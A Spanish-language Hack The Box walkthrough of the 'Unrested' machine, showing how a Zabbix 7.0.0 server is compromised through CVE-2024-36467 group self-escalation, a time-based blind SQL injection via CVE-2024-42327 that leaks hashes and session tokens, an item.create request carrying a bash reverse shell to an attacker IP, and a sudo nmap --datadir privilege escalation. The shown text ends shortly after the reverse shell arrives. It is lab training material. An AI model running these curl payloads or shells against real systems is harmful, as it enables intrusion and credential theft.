Security Layer
Research Articles ๐Ÿ”Ž๐ŸŽต๐Ÿ‘ฝGitHub
  • Bienvenido a Security Layer
  • ๐Ÿ‘พHack The Box
    • ๐Ÿ‘พHACK THE BOX
    • Archetype
    • Responder
    • Three
  • Crocodile
  • Unrested
  • Shibboleth
  • Active
  • Bastion
  • Access
  • Devel
  • Optimum
  • Cicada
  • Forest
  • Sauna
  • Support
  • ๐Ÿ‘พTry Hackme
    • ๐Ÿ‘พTRY HACKME
    • Attacking Kerberos
  • ๐Ÿ› ๏ธTools
    • ๐Ÿ› ๏ธTools
    • Suite Impacket
    • SMBmap
    • SMBclient
    • WinPEAS
    • EvilWinRM
  • Wfuzz
  • Responder
  • John The Ripper
  • Gobuster
  • Hydra
  • Ffuf
  • nxc
  • Enum4Linux/Enum4Linux-ng
  • Crear Diccionarios
  • Kerbrute
  • Microsoft Windows
    • MSSQL
    • Glosario
  • โš ๏ธScripts
    • Shell.ps1
    • Common shell Payloads
  • Comand Line Tools
    • Comand Line Tools Linux
    • Wget
    • Strings
    • Compartir y descargar recursos
    • Comand Line Tools Windows
    • Enumerar permisos de usuarios
    • Listar o identificar ficheros especificos
  • AWS
    • Conexiones a Bucket s3
Powered by GitBook
On this page
  • Enumeraciรณn de puertos/servicios
  • Reconocimiento de Aplicaciรณn Web
  • Identificaciรณn de Vulnerabilidades
  • Explotaciรณn de la API de Zabbix y Anรกlisis Estรกtico del Cรณdigo Fuente
  • Explotaciรณn de CVE-2024-36467 โ€“ Missing Access Control
  • Explotaciรณn de CVE-2024-42327 โ€“ Inyecciรณn SQL
  • Obtenciรณn de RCE vรญa API con sesiรณn de Admin
  • Escalada de Privilegios โ€“ Abuso de Sudo y Nmap

Unrested

Dificultad: Medium - OS: Linux

ยฏ\_( อกยฐ อœส– อกยฐ)_/ยฏ Machine info

Unrested es una mรกquina de dificultad media que presenta un entorno realista con Zabbix expuesto pรบblicamente. Durante la fase de enumeraciรณn, se detecta que la versiรณn instalada del sistema de monitoreo Zabbix es vulnerable a dos fallos de seguridad recientes: CVE-2024-36467 y CVE-2024-42327.

  • CVE-2024-36467 es una vulnerabilidad causada por la falta de controles de acceso adecuados en la funciรณn user.update dentro de la clase CUser. Esta falla permite que un atacante autenticado, incluso con privilegios mรญnimos, pueda modificar informaciรณn de cualquier usuario del sistema, lo que puede incluir la elevaciรณn de privilegios mediante la modificaciรณn de cuentas con mayores permisos.

  • CVE-2024-42327, por otro lado, es una inyecciรณn SQL en la funciรณn user.get, tambiรฉn perteneciente a la clase CUser, la cual puede ser explotada por un atacante autenticado para ejecutar consultas SQL arbitrarias sobre la base de datos de Zabbix. Esto permite obtener credenciales de usuarios, acceder a informaciรณn sensible del sistema o incluso manipular la autenticaciรณn del mismo para escalar privilegios.

A travรฉs de estas vulnerabilidades, se logra obtener acceso como un usuario del sistema. Posteriormente, la enumeraciรณn local revela una configuraciรณn insegura de sudo que permite al usuario zabbix ejecutar /usr/bin/nmap con privilegios elevados (sudo -l). Esta herramienta, aunque es una dependencia opcional en algunos entornos de Zabbix, puede ser aprovechada para obtener una shell con permisos de root mediante la tรฉcnica de ejecuciรณn interactiva con el parรกmetro --interactive, lo cual completa la escalada de privilegios y compromete completamente el sistema.

Enumeraciรณn de puertos/servicios

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali]
โ””โ”€# nmap -sCV --open -p- -T4 -v -n 10.10.11.50
๐Ÿ“ŒParรกmetros
  • -sCV:

    • -sC โ†’ Ejecuta scripts de detecciรณn predeterminados โ†’ Usa los scripts de nmap ubicados en /usr/share/nmap/scripts/, los cuales buscan informaciรณn adicional en los puertos abiertos.

    • -sV โ†’ Detecciรณn de versiones โ†’ Intenta identificar el software y su versiรณn en los puertos abiertos.

  • -n โ†’ No resuelve nombres de dominio (reduce el tiempo del escaneo).

  • --open โ†’ Muestra solo puertos abiertos โ†’ Filtra la salida para no mostrar puertos cerrados o filtrados.

  • -p- โ†’ Escanea los 65.535 puertos

  • -T4 โ†’ Ajusta la velocidad del escaneo โ†’ T4 es un nivel "agresivo" que acelera el escaneo, รบtil en redes rรกpidas.

  • -v โ†’ Modo verbose โ†’ Muestra mรกs detalles sobre el progreso del escaneo.

Resultado:

PORT      STATE SERVICE             VERSION
22/tcp    open  ssh                 OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp    open  http                Apache httpd 2.4.52 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET POST OPTIONS HEAD
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.52 (Ubuntu)
10050/tcp open  tcpwrapped
10051/tcp open  ssl/zabbix-trapper?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

En sรญntesis:

Puerto	  | Estado | Servicio	             | Protocolo
22/tcp	  | open   | ssh (OpenSSH 8.9p1)     | TCP
80/tcp	  | open   | http (Apache 2.4.52)    | TCP
10050/tcp | open   | tcpwrapped	             | TCP
10051/tcp | open   | ssl/zabbix-trapper?     | TCP

Reconocimiento de Aplicaciรณn Web

Si nos vamos al puerto 80 nos vamos a encontrar con un panel de login de Zabbix

ยฟQuรฉ es Zabbix?

Zabbix es una soluciรณn de monitorizaciรณn empresarial de cรณdigo abierto, diseรฑada para supervisar el estado y el rendimiento de servidores, dispositivos de red, aplicaciones, servicios y otros recursos de TI en tiempo real

En el menรบ de la mรกquina en HTB nos van a facilitar unas credenciales para poder ingresar al dashboard de Zabbix:

"Machine Information
As is common in real life pentests, you will start the Unrested box with 
credentials for the following account on Zabbix: matthew / 96qzn0h2e1k3"

Una vez que tenemos acceso al dashboard vamos a ver la siguiente informaciรณn clave para continuar con este pentesting

Identificaciรณn de Vulnerabilidades

Vemos que la versiรณn de este Zabbix es la 7.0.0 y si buscamos algรบn CVE que afecte a esta versiรณn nos vamos a encontrar con el siguiente.

๐Ÿ“Œ CVE-2024-36467

CVE-2024-36467 es una vulnerabilidad de control de acceso mal implementado en Zabbix. Esta falla afecta a la API de Zabbix, que es una especie de โ€œpuerta trasera legรญtimaโ€ que permite a usuarios autenticados realizar acciones automatizadas sobre el sistema.

El problema se encuentra en el comportamiento de la funciรณn user.update, la cual deberรญa estar limitada para evitar que usuarios con pocos privilegios realicen cambios importantes. Sin embargo, esta vulnerabilidad permite que cualquier usuario autenticado, con acceso a la API, modifique sus propios grupos de usuario, lo que puede dar lugar a una escalada de privilegios.

ยฟCรณmo se abusa esta vulnerabilidad?

  1. Acceso legรญtimo a la API: Un atacante necesita primero iniciar sesiรณn en Zabbix como un usuario comรบn (por ejemplo, un operador o usuario de solo lectura, en nuestro caso con el usuario matthew). Si puede generar un token de API, ya estรก en condiciones de aprovechar la falla.

  2. Conocimiento de la API: A diferencia de la interfaz web tradicional, la API de Zabbix permite ejecutar acciones mรกs avanzadas, como crear o modificar objetos del sistema (usuarios, hosts, alertas, etc.).

  3. El punto vulnerable: user.update Esta funciรณn dentro de la API permite cambiar detalles del usuario, como su nombre, clave o los grupos a los que pertenece. La vulnerabilidad estรก en que no verifica correctamente si el usuario tiene permisos para agregarse a grupos mรกs privilegiados.

  4. Escalada de privilegios: Si el atacante se agrega a un grupo con permisos elevados, como Zabbix Administrators, automรกticamente gana acceso a configuraciones crรญticas del sistema, usuarios, credenciales, y a la ejecuciรณn de comandos, comprometiendo por completo la seguridad de la plataforma.

Como bien nos indica el CVE lo primero que debemos obtener es el token de API del usuario matthew para luego poder aprovechar la falla de la funciรณn user.update. Para obtener un token permanente y evitar problemas como 'data': 'Session terminated, re-login, please.' la mejor opciรณn es solicitarlo desde el frontend de la siguiente forma: User settings > API tokens > Create API token > Add (dejamos marcada la casilla "Enabled" y desmarcamos la casilla "Set expiration date and time")

Explotaciรณn de la API de Zabbix y Anรกlisis Estรกtico del Cรณdigo Fuente

Prรณximo paso obtener nuestro ID de usuario usando el token en el siguiente comando:

Request:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Desktop]
โ””โ”€# curl --request POST \
  --url http://10.10.11.50/zabbix/api_jsonrpc.php \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.checkAuthentication",
    "params": {
      "token": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39"  
    },     
    "id": 1
  }'
๐Ÿ“Œ Desglose del comando

Lo que estamos haciendo acรก es una peticiรณn POST a la API de Zabbix, especรญficamente a http://10.10.11.50/zabbix/api_jsonrpc.php, con el mรฉtodo user.checkAuthentication.

Este mรฉtodo sirve para verificar si un token de sesiรณn es vรกlido y, si lo es, devuelve informaciรณn del usuario autenticado.

Elementos clave del comando:

  • --request POST: Especifica que se trata de una peticiรณn POST.

  • --url http://10.10.11.50/zabbix/api_jsonrpc.php: Indica la URL a la que se envรญa la solicitud.

  • --header 'Content-Type: application/json-rpc': Define que el contenido serรก JSON-RPC, el protocolo que usa la API de Zabbix.

  • --data '{...}': Este bloque contiene los datos JSON a enviar.

Response:

{
  "jsonrpc": "2.0",
  "result": {
    "userid": "3",
    "username": "matthew",
    "name": "Matthew",
    "surname": "Smith",
    "url": "",
    "autologin": "1",
    "autologout": "0",
    "lang": "en_US",
    "refresh": "30s",
    "theme": "default",
    "attempt_failed": "0",
    "attempt_ip": "",
    "attempt_clock": "0",
    "rows_per_page": "50",
    "timezone": "system",
    "roleid": "1",
    "userdirectoryid": "0",
    "ts_provisioned": "0",
    "debug_mode": 0,
    "deprovisioned": false,
    "gui_access": 0,
    "mfaid": 0,
    "auth_type": 0,
    "type": 1,
    "userip": "10.10.14.7"
  },
  "id": 1
}

A continuaciรณn podemos probar dos formas de escalar privilegios con nuestro usuario: una es cambiando el usrid:3 de matthew al usrid:ยฟ? de administrador y la otra es agregando a matthew al grupo de administradores con usrgrps

La primer opciรณn no es vรกlida porque existe una funciรณn llamada checkHimself() que bloquea cualquier intento que un usuario haga para cambiar su roleid. Este bloqueo aparece con el siguiente mensaje "User cannot change own role." , sin embargo si nos permite cambiar de grupo. Antes continuar con el segundo mรฉtodo hay que comprender lo que hacen las siguientes funciones de Zabbix:

๐Ÿ“Œuser.update
public function update(array $users) {
    $this->validateUpdate($users, $db_users);
    self::updateForce($users, $db_users);
    return ['userids' => array_column($users, 'userid')];
}
  • public function update(array $users) Esta es una funciรณn pรบblica llamada update, que recibe un array de usuarios ($users). Este array tendrรก objetos con info como userid, roleid, etc.

  • $this->validateUpdate($users, $db_users); Llama a una funciรณn interna llamada validateUpdate, que:

    • Valida que los datos de $users estรฉn bien formados.

    • Busca en la base de datos los usuarios que se quieren actualizar y los guarda en $db_users.

  • self::updateForce($users, $db_users); Llama a otra funciรณn que probablemente hace la actualizaciรณn real en la base de datos con los datos nuevos.

  • return ['userids' => array_column($users, 'userid')]; Devuelve un array con solo los userids que fueron actualizados. Por ejemplo, si actualizรกs el usuario con ID 3, te va a devolver:

    { "userids": ["3"] }
๐Ÿ“ŒcheckHimself()
if (array_key_exists('roleid', $user) && $user['roleid'] != self::$userData['roleid']) {
    self::exception(ZBX_API_ERROR_PARAMETERS, _('User cannot change own role.'));
}

Esta lรญnea comprueba si el usuario estรก intentando cambiar su propio roleid. Si el ID de usuario del objeto ($user['userid']) coincide con el que estรก logueado (self::$userData['userid']) y ademรกs quiere cambiar el roleid, entonces lanza una excepciรณn con el mensaje exacto que viste:

"User cannot change own role."

Si querรฉs cambiar el roleid de un usuario, tenรฉs que hacerlo desde otra cuenta que tenga permisos suficientes y que no sea ese mismo usuario.

Explotaciรณn de CVE-2024-36467 โ€“ Missing Access Control

El segundo mรฉtodo es aรฑadir a nuestro usuario mattehw al grupo de administradores usando la funciรณn usrgrps. Esta funciรณn no tiene ninguna validaciรณn y, por lo tanto, se puede usar para agregarnos a varios grupos a la vez. Siempre que el grupo no estรฉ deshabilitado y permita el acceso a la interfaz grรกfica, podemos aprovecharnos de esto para cambiar nuestro rol actual. Los IDs de los grupos administradores tambiรฉn estรกn filtrados en la documentaciรณn oficial de Zabbix

Request:

curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.update",
    "params": {
      "userid": "3",
      "usrgrps": [
        {"usrgrpid": "13"},
        {"usrgrpid": "7"}
      ]
    },
    "auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
    "id": 1
}'
๐Ÿ“Œ Desglose del comando
  • method: "user.update" โ†’ estรก actualizando informaciรณn de un usuario.

  • "userid": "3" โ†’ se refiere al ID del usuario que queremos modificar.

  • "usrgrps" โ†’ es una lista de grupos a los que estamos agregando a nuestro usuario matthew.

  • "auth" โ†’ donde aรฑadimos el token de matthew.

Response:

{"jsonrpc":"2.0","result":{"userids":["3"]},"id":1} 

Una vez que ya nos aรฑadimos a los grupos 7 y 13 del servidor vamos a intentar listar la informaciรณn de todos los usuarios de esta forma sabremos si logramos elevar nuestros privilegios

Request:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali]
โ””โ”€# curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
      "output": ["userid"],
      "selectUsrgrps": ["usrgrpid", "name"],
      "filter": {
        "alias": "matthew"
      }
    },
    "auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
    "id": 1
  }'  

Response:

{"jsonrpc":"2.0","result":[{"userid":"1","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]},{"userid":"2","usrgrps":
[{"usrgrpid":"13","name":"Internal"}]},{"userid":"3","usrgrps":
[{"usrgrpid":"7","name":"Zabbix administrators"},
{"usrgrpid":"13","name":"Internal"}]}],"id":1}  
๐Ÿ“Œ Desglose del comando

"method": "user.get" โ†’ mรฉtodo de la API para obtener informaciรณn de usuarios.

"params.output" โ†’ quรฉ campos retornar (en este caso solo "userid").

"selectUsrgrps" โ†’ informaciรณn adicional de los grupos del usuario (IDs y nombres).

"filter" โ†’ filtro para buscar un usuario especรญfico: alias = matthew.

"auth" โ†’ token de autenticaciรณn.

"id" โ†’ ID de la peticiรณn.

Output ordenado en multilinea

{
  "jsonrpc": "2.0",
  "result": [
    {
      "userid": "1",
      "usrgrps": [
        {
          "usrgrpid": "7",
          "name": "Zabbix administrators"
        },
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    },
    {
      "userid": "2",
      "usrgrps": [
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    },
    {
      "userid": "3",
      "usrgrps": [
        {
          "usrgrpid": "7",
          "name": "Zabbix administrators"
        },
        {
          "usrgrpid": "13",
          "name": "Internal"
        }
      ]
    }
  ],
  "id": 1
}
๐Ÿ“ŒยฟPorque la funciรณn checkHimself() sรญ nos dejรณ cambiar de grupo?

Aquรญ solo te bloquea si te estรกs agregando a un grupo que estรก deshabilitado o tiene deshabilitado el acceso GUI.

โš ๏ธ Pero si el grupo estรก activo y con GUI habilitada, no hay nada que impida que nos agreguemos a ese grupo, incluso si ese grupo es de administradores.

ยฟEntonces por quรฉ se puede esto?

  1. Cambiar tu propio roleid afecta directamente tu perfil de permisos a nivel profundo (visibilidad, control total, acceso API completo, etc.), y puede otorgarte privilegios indebidos de manera inmediata.

  2. Cambiar usrgrps te agrega a un grupo que puede tener permisos elevados, pero los permisos grupales se aplican de forma mรกs indirecta y estรกn sujetos a otras condiciones (como polรญticas de ACL, GUI, etc.).

Zabbix considera que cambiar el roleid es mรกs crรญtico y debe ser gestionado por otro usuario con mรกs privilegios (como un admin). Pero agregarse a un grupo con permisos puede ser parte de un flujo de aprobaciรณn mรกs amplio, o incluso algo intencionado en entornos mรกs abiertos.

Hasta aquรญ la primera etapa que estรก relacionada con el CVE-2024-3646, ahora vamos a continuar con la segunda etapa que corresponde al CVE-2024-42327:

Explotaciรณn de CVE-2024-42327 โ€“ Inyecciรณn SQL

๐Ÿ” Verificaciรณn de permisos (lรญneas 108 - 116)
// permission check
if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) {
    if (!$options['editable']) {
        $sqlParts['from']['users_groups'] = 'users_groups ug';
        $sqlParts['where']['uug'] = 'u.userid=ug.userid';
        $sqlParts['where'][] = 'ug.usrgrpid IN ('.
            ' SELECT uug.usrgrpid'.
            ' FROM users_groups uug'.
            ' WHERE uug.userid='.self::$userData['userid'].
        ')';
    }
    else {
        $sqlParts['where'][] = 'u.userid='.self::$userData['userid'];
    }
}

ยฟQuรฉ hace esto?

Este bloque define cรณmo se filtra la informaciรณn que devuelve user.get, dependiendo de quiรฉn hace la peticiรณn y quรฉ opciones manda.

Lรญnea por lรญnea:

  • if (self::$userData['type'] != USER_TYPE_SUPER_ADMIN) โžœ Si el usuario NO es un Super Admin, aplican controles adicionales.

  • if (!$options['editable']) โžœ Si NO se pasรณ editable: 1, entonces:

    • Se unen las tablas users y users_groups (ug).

    • Sรณlo se devuelven usuarios que comparten grupo con el que hace la solicitud.

  • else { $sqlParts['where'][] = 'u.userid='.self::$userData['userid']; } โžœ Pero si sรญ se pasรณ editable: 1, entonces solo devuelve info del propio usuario (u.userid = el mรญo).

ยฟPor quรฉ esto es importante?

Porque al usar "editable": 1 en el user.get, estรกs evitando el filtro de grupos y forzamos a que se devuelvan datos solo del usuario actual, sin restricciones de grupo.

Este bypass habilita la ejecuciรณn del cรณdigo vulnerable mรกs adelante. Si no usamos "editable": 1, ni siquiera llegarรญamos a la parte peligrosa.

๐Ÿ” Llamada vulnerable: addRelatedObjects() (lรญnea 234)
if ($result) {
    $result = $this->addRelatedObjects($options, $result);
}

ยฟQuรฉ hace esto?

Despuรฉs de obtener los datos base (usuarios), esta funciรณn agrega informaciรณn adicional relacionada, como roles, permisos, etc.

Es como decir: โ€œTraeme el usuario y tambiรฉn todo lo relacionado a รฉlโ€.

โš  ยฟPor quรฉ esto es peligroso?

Porque si pasรกs ciertos parรกmetros como selectRole, la funciรณn va a intentar obtener esa relaciรณn (usuario โžœ rol) armando dinรกmicamente una consulta SQL con los valores que mandaste.

๐Ÿ” Bloque vulnerable dentro de addRelatedObjects() (lรญnea 3041)
if ($options['selectRole'] !== null && $options['selectRole'] !== API_OUTPUT_COUNT) {
    if ($options['selectRole'] === API_OUTPUT_EXTEND) {
        $options['selectRole'] = ['roleid', 'name', 'type', 'readonly'];
    }

    $db_roles = DBselect(
        'SELECT u.userid' .
        ($options['selectRole'] ? ',r.' . implode(',r.', $options['selectRole']) : '') .
        ' FROM users u,role r' .
        ' WHERE u.roleid=r.roleid' .
        ' AND ' . dbConditionInt('u.userid', $userIds)
    );
    ...
}

ยฟQuรฉ hace esto?

  1. Verifica si se pidiรณ selectRole.

  2. Construye una consulta SQL usando implode() con los valores de selectRole.

  3. Ejecuta รฉsa consulta.

ยฟPor quรฉ es vulnerable?

Esta funciรณn implode(',r.', $options['selectRole']) pega directamente lo que envรญes como contenido del array selectRole dentro del SQL, sin sanitizar.

Entonces se podria inyectar algo como: "selectRole": ["roleid", "name AND (SELECT SLEEP(5))"]

Esto en la base de datos se traduciria como:

SELECT u.userid, r.roleid, r.name AND (SELECT SLEEP(5))
FROM users u, role r
WHERE u.roleid=r.roleid

Con este anรกlisis ahora vamos a poner en prรกctica un ataque que se clasifica como Time-based and Blind Boolean-based SQL injections:

๐Ÿ“ŒTime-based and Blind Boolean-based SQL injections

Una SQL Injection ciega ocurre cuando:

  • La aplicaciรณn es vulnerable a inyecciones SQL.

  • NO muestra los resultados de la consulta directamente (por ejemplo, no ves un error ni una tabla).

  • Pero aรบn podรฉs inferir informaciรณn segรบn cรณmo responde la app (por el tiempo que tarda o por un valor booleano).

En resumen: no ves la respuesta, pero la podรฉs deducir.

Tipos de Blind SQLi

1. Boolean-Based Blind SQLi

La respuesta cambia dependiendo si la condiciรณn es verdadera o falsa.

Ejemplo de payload:

' AND 1=1 -- โ†’ la pรกgina carga normal.

' AND 1=2 -- โ†’ la pรกgina carga diferente (error, lista vacรญa, 403, etc).

Asรญ podรฉs hacer preguntas tipo ยฟel primer carรกcter del nombre del usuario es A?โ€

  • Si es TRUE: el comportamiento cambia (te da un resultado).

  • Si es FALSE: se comporta diferente.

๐Ÿ” Esto nos permite reconstruir datos carรกcter por carรกcter con muchas solicitudes.

2. Time-Based Blind SQLi

Este mรฉtodo se usa cuando:

  • La app no cambia visualmente para TRUE o FALSE.

  • Pero podรฉs hacer que se โ€œduermaโ€ si una condiciรณn es verdadera.

Ejemplo de payload:

' AND IF(SUBSTR((SELECT user()), 1, 1) = 'r', SLEEP(5), 0) --

Lo que estamos intentado acรก es decir, si el primer carรกcter del nombre de usuario es r, sleep 5 segundos. Si no, no hagas nada."

Entonces, si tarda 5 segundos, sabemos que la condiciรณn es verdadera. Si responde rรกpido, es falsa.

De nuevo, podemos reconstruir datos letra por letra, pero ahora basado en el tiempo de respuesta.

๐Ÿ“Œ ยฟPor quรฉ se usan en escenarios reales?

Porque muchas aplicaciones web filtran los errores de SQL o no muestran directamente la informaciรณn. Pero:

  • Igual construyen consultas SQL vulnerables.

  • Y siguen siendo explotables desde un canal lateral (como tiempo o comportamiento booleano).

En este caso, Zabbix no muestra un error SQL directo, pero el tiempo de respuesta sรญ cambia si la consulta fue manipulada exitosamente (por eso usamos SLEEP(5)). Serรญa como un error indirecto

Primero vamos a testear esta vuln con la siguiente request:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/UNRESTED]
โ””โ”€# time curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json' \
  --data '{
    "jsonrpc": "2.0",
    "method": "user.get",
    "params": {
      "output": ["userid", "username"],
      "selectRole": [
        "roleid",
        "name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"
      ],
      "editable": 1
    },
    "auth": "4c8b96eb996ed4fccb2f92a5e563bc8f9db1701d9de5b9b452599e326a465d39",
    "id": 1
  }'
๐Ÿ“Œ Desglose del comando
  • time: mide cuรกnto tarda en ejecutarse el curl.

  • curl --request POST: hace una solicitud POST.

  • --url 'http://10.10.11.50/zabbix/api_jsonrpc.php': apunta a la API de Zabbix.

  • --header 'Content-Type: application/json': define que el contenido del cuerpo es JSON.

  • --data '...': envรญa el cuerpo con una inyecciรณn SQL en el campo selectRole.

La carga malisiosa en cuestion es la siguiente parte

"selectRole": [
  "roleid",
  "name AND (SELECT 1 FROM (SELECT SLEEP(5))A)"
]

Response:

{"jsonrpc":"2.0","result":[{"userid":"3","username":"matthew",
"role":{"roleid":"1","r.name AND (SELECT 1 FROM (SELECT SLEEP(5))A)":"0"}}],"id":1}
real    5.48s
user    0.01s
sys     0.00s
cpu     0%

Esto ya nos confirma que la vulnerabilidad Time-based and Blind Boolean-based SQL injections si funciona. El siguiente paso es aprovechar esta vuln para extraer el token del usuario administrador. Como este procedimiento lleva mucho tiempo si lo hacemos de forma manual, lo que vamos a usar es este script que ya automatiza el ataque y se encarga de extraer el token del admin:

Nota: para que el script funcione debemos reemplazar el usrid por editable dentro del codigo

Original:

Editado:

Ahora sรญ podemos extraer el token del admin (cuyo usrid es el 1)

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/UNRESTED]
โ””โ”€# python3 CVE-2024-42327_Zabbix_SQLI.py -u http://10.10.11.50/zabbix/ -U matthew -P 96qzn0h2e1k3

[*] - Using http://10.10.11.50/zabbix/api_jsonrpc.php for API.

[*] - Authenticating with username: "matthew" and password "96qzn0h2e1k3"
[+] - Authentication Success!

[*] - Getting user details
{'userid': '1', 'username': 'Admin', 'role': {'type': '3', 'roleid': '3', 'name': 'Super admin role', 'readonly': '1'}}
{'userid': '2', 'username': 'guest', 'role': {'type': '1', 'roleid': '4', 'name': 'Guest role', 'readonly': '0'}}
{'userid': '3', 'username': 'matthew', 'role': {'type': '1', 'roleid': '1', 'name': 'User role', 'readonly': '0'}}

[*] - Using SQL Injection to leak user credentials
userid: 1, username: Admin, password: $2y$10$L8UqvYPqu6d7c8NeChnxWe1.w6ycyBERr8UgeUYh.3AO7ps3zer2a, roleid: 3
userid: 2, username: guest, password: $2y$10$89otZrRNmde97rIyzclecuk6LwKAsHN0BcvoOKGjbT.BwMBfm7G06, roleid: 4
userid: 3, username: matthew, password: $2y$10$e2IsM6YkVvyLX43W5CVhxeA46ChWOUNRzSdIyVzKhRTK00eGq4SwS, roleid: 1

[*] - Leaking Session Tokens for API use
userid: 1, sessionid: f2391f997ce3b2cea887f565fbe172cd
userid: 3, sessionid: cbb66cd57e0d0e9895c438066f66a505

Obtenciรณn de RCE vรญa API con sesiรณn de Admin

Con el token del administrador vamos a poder realizar consultas al servidor y extraer la informaciรณn necesaria para crear nuestra reverse shell:

Request:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/UNRESTED]
โ””โ”€# curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "host.get",
    "params": {
      "output": ["hostid", "host"],
      "selectInterfaces": ["interfaceid"]
    },
    "auth": "f2391f997ce3b2cea887f565fbe172cd",
    "id": 1
}'
๐Ÿ“Œ Desglose del comando

Este comando envรญa una peticiรณn JSON-RPC a la API de Zabbix para obtener informaciรณn sobre los hosts registrados.

  • method: "host.get" โ†’ para pedirle a la API que traiga informaciรณn sobre los hosts.

  • "output": ["hostid", "host"] โ†’ acรก le indicamos que solo queremos que devuelva el hostid y el nombre del host.

  • "selectInterfaces": ["interfaceid"] โ†’ para que nos muestre los ID de las interfaces de red asociadas a esos hosts.

  • "auth": "a33c104db62d09205a7bfe37dd2ce8e1" โ†’ este es el token de autenticaciรณn del administrador que obtuvimos con el script

Response:

{"jsonrpc":"2.0","result":[{"hostid":"10084","host":"Zabbix server",
"interfaces":[{"interfaceid":"1"}]}],"id":1} 

El ID del host y de la interfaz nos va a permitir indicarle al servidor donde crear el objeto que contendrรก la reverse shell. Ahora para crear ese objeto vamos a usar el siguiente comando

Request:

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/UNRESTED]
โ””โ”€# curl --request POST \
  --url 'http://10.10.11.50/zabbix/api_jsonrpc.php' \
  --header 'Content-Type: application/json-rpc' \
  --data '{
    "jsonrpc": "2.0",
    "method": "item.create",
    "params": {
      "name": "rce",
      "key_": "system.run[bash -c '\''bash -i >& /dev/tcp/10.10.14.7/4448 0>&1'\'']",  
      "delay": 1,
      "hostid": "10084",
      "type": 0,
      "value_type": 1,
      "interfaceid": "1"
    },
    "auth": "f2391f997ce3b2cea887f565fbe172cd",
    "id": 1
}'
๐Ÿ“Œ Desglose del comando
  • method: "item.create" โ†’ le indicamos la creaciรณn de un item nuevo en Zabbix

  • "name": "rce" โ†’ el nombre del item

  • "key_" โ†’ el tipo de chequeo que Zabbix va a ejecutar

  • system.run[bash -c 'bash -i >& /dev/tcp/10.10.14.100/4448 0>&1'] โ†’ explota la capacidad de Zabbix de ejecutar comandos del sistema si el รญtem es de tipo system.run y no hay restricciones de seguridad.

  • "delay": 1 โ†’ indica que se ejecute cada 1 segundo

  • "hostid": "10084" โ†’ el ID del host al que le estรกs agregando el รญtem. El comando se ejecutarรก desde esa mรกquina.

  • "interfaceid": "1" โ†’ ID de la interfaz de red asociada al host.

  • "auth": "f2391f997ce3b2cea887f565fbe172cd" โ†’ token del admin

Response: (Significa que el รญtem fue creado correctamente y su ID es 47184.)

{"jsonrpc":"2.0","result":{"itemids":["47184"]},"id":1} 

Al mismo tiempo que creamos el objeto que contiene nuestra reverse shell, vamos a levantar un listener con netcat que reciba la conexiรณn entrante. Para la escalada de privilegios vamos a usar Nmap con scripts NSE (Nmap Scripting Engine) siguiendo estos pasos:

  1. Verificamos permisos con sudo -l y vamos a ver que zabbix puede ejecutar /usr/bin/nmap como root sin necesidad de contraseรฑa y con cualquier parรกmetro.

  2. Inspeccionamos el binario /usr/bin/nmap y vemos que no es el binario real, sino un wrapper Bash que intenta limitar funcionalidades peligrosas del Nmap.

  3. Vemos que aunque --script estรก bloqueado, el wrapper no restringe el uso de -sC (equivalente a --script=default) ni de --datadir, que permite indicar desde dรณnde cargar los scripts NSE.

    Entonces, aprovechamos esto para crear un archivo malicioso en /tmp/nse_main.lua con el siguiente contenido โ†’ echo 'os.execute("/bin/bash -p")' > /tmp/nse_main.lua

  4. Por ultimo debemos ejecutar nmap con sudo para cargar el script malicioso. El parรกmetro -sC carga scripts por defecto, y al redirigir --datadir=/tmp, se fuerza a Nmap a leer los scripts desde /tmp, donde estรก el archivo malicioso.

    Nmap lo ejecuta como root, y al correr os.execute("/bin/bash -p"), se invoca una shell con privilegios.

Escalada de Privilegios โ€“ Abuso de Sudo y Nmap

โ”Œโ”€โ”€(rootใ‰ฟkali)-[/home/kali/Documents/HTB/UNRESTED]
โ””โ”€# nc -lvvp 4448
listening on [any] 4448 ...
10.10.11.50: inverse host lookup failed: Unknown host
connect to [10.10.14.7] from (UNKNOWN) [10.10.11.50] 58282
bash: cannot set terminal process group (2909): Inappropriate ioctl for device
bash: no job control in this shell
zabbix@unrested:/$ whoami
whoami
zabbix
zabbix@unrested:/$ id
id
